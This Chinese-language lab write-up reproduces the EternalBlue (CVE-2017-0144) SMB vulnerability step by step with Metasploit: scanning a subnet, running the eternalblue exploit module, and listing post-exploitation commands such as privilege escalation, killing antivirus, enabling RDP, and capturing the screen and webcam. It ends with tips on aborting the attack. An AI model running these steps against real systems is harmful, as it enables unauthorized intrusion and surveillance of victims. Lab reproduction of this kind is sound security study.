漏洞复现_CVE-2017-0144 “永恒之蓝”漏洞

本文详细介绍了Windows系统CVE-2017-0144(永恒之蓝)漏洞的环境配置、原理、利用方法,包括Metasploit工具的使用步骤,以及防范措施和后渗透操作。重点讲解了漏洞扫描、探测范围设定和实际攻击的执行过程,同时揭示了安全狗可能带来的问题。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x01_环境准备

(1)一台Windows电脑

(可以使用虚拟机代替)

配置是 网络—>右键,属性---->高级共享设置---->启用文件和打印机共享
在这里插入图片描述
(可以理解为,这样设置才使其具有了“永恒之蓝”漏洞)

(2)Metasploit任意平台

可以是Windows版,可以是kali自带版
在这里插入图片描述

0x02_漏洞简介

1.何为CVE-2017-0144?

​ CVE-2017-0144 既 永恒之蓝最早爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了勒索病毒,使全世界大范围内遭受了勒索病毒,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。

2.什么是SMB协议?

SMB是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

3.SMB工作原理是什么?

(1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。

(2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。

(3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。

(4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。

0x03_原理

永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。

0x04_CVE-2017-0144 利用方法

【1】查询利用模块
终端里输入 search ms17_010
在这里插入图片描述

有两个利用模块,两个辅助模块

【2】使用探测模块

终端内输入 use auxiliary/scanner/smb/smb_ms17_010
在这里插入图片描述

【3】设置探测范围
options
在这里插入图片描述
可以看到要配置Rhosts

在这里插入图片描述

(设置扫描当前网段 可以通过 在终端内输入ip a 查看)

这里有两个填法
(1)输入C段,就像我上面的截图,但是会扫很久,因为毕竟要扫255个

(2)输入一段范围,比如我知道大概是172.16.13.9-20之间,就可以这么输入:172.16.13.9-172.16.13.20

【4】开始探测

终端内输入 run 执行探测

如果要探测255个,还是要很久的,2000years later…
在这里插入图片描述
最后扫到一台

【5】漏洞利用

首先在终端里输入
search ms17_010
在这里插入图片描述

使用 模块
use exploit/windows/smb/ms17_010_eternalblue
在这里插入图片描述

【6】配置利用模块

配置模块
show options
配置靶机
这里IP填探测到的IP
在这里插入图片描述

【7】执行攻击

在终端里输入 run

但是这里给我报了个错:
在这里插入图片描述
RubySMB::Error::CommunicationError: RubySMB::Error::CommunicationError
[*] Exploit completed, but no session was created.

后来查了一下资料,估计应该是装了一个安全狗,导致无法成功利用。

0x05_后渗透操作

查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
抓取摄像头的照片:webcam_snap
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd

### 在进行 EternalBlue 攻击时如何安全退出或中止攻击流程 在使用 Metasploit Framework 进行 EternalBlue(MS17-010)漏洞利用时,如果需要中途停止或退出攻击流程,可以通过以下几种方式进行操作,确保不会对目标系统造成意外影响。 #### 1. 使用 `exit` 命令退出当前模块 在 Metasploit 的 `msfconsole` 环境中,若当前处于某个 exploit 模块(如 `exploit/windows/smb/ms17_010_eternalblue`),可以输入 `exit` 命令返回到主提示符界面。该操作会终止当前模块的配置和执行流程,防止进一步触发攻击行为[^2]。 示例: ```bash msf6 exploit(windows/smb/ms17_010_eternalblue) > exit [*] Exploit completed, but no session was created. msf6 > ``` #### 2. 使用 `back` 命令切换模块而不执行攻击 如果尚未运行攻击命令(如 `exploit` 或 `run`),但已设置了目标 IP 地址或其他参数,可以通过输入 `back` 返回到主菜单,从而放弃当前模块的设置并避免误执行攻击流程[^2]。 示例: ```bash msf6 exploit(windows/smb/ms17_010_eternalblue) > back msf6 > ``` #### 3. 终止正在进行的攻击任务 若攻击流程已经启动(例如通过 `exploit` 命令),并且攻击正在尝试连接目标系统,可以通过按下 `Ctrl+C` 中断当前执行的操作。此方法适用于防止攻击继续进行,尤其是在发现目标地址错误或未获得授权的情况下。 示例: ```bash msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Connecting to target for exploitation... ^C[-] Exploit interrupted by the user... msf6 exploit(windows/smb/ms17_010_eternalblue) > ``` #### 4. 清除模块设置以避免误执行 在退出前,若希望清除所有已设置的参数(如 RHOSTS、PAYLOAD 等),可使用 `unset all` 命令重置模块状态,确保下次使用时不会因残留配置导致非预期行为。 示例: ```bash msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all Unsetting all variables... ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值